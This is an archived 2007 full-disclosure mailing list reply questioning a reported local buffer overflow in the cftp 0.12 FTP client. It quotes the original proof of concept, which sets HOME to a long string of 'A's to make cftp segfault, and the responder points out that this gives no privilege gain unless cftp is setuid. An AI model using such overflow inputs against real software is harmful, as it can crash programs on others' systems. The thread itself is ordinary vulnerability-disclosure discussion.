full-disclosure - Re: cftp 0.12 (readrc) Local buffer overflow vulnerability

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Message-ID: <372080170.20070320172310@SECURITY.NNOV.RU>
Date: Tue, 20 Mar 2007 17:23:10 +0300
From: 3APA3A <3APA3A@...URITY.NNOV.RU>
To: starcadi <starcadi@...il.com>
Cc: listgrok <full-disclosure@...ts.grok.org.uk>
Subject: Re: cftp 0.12 (readrc) Local buffer overflow
	vulnerability

Dear starcadi,

A  very  effective  way for user to exploit himself. How can you elevate
your privileges this way? Is cftp suid?

--Tuesday, March 20, 2007, 12:52:13 AM, you wrote to full-disclosure@...ts.grok.org.uk:

s> Description:

s> CFTP is Comfortable FTP, a full screen ftp client.

s> Proof of concept:

s> $ export HOME=`perl -e "print 'A'x8200"`
s> $ cftp
s> Segmentation fault
s> $

-- 
~/ZARAZA http://securityvulns.com/
Неприятности начнутся в восемь.  (Твен)

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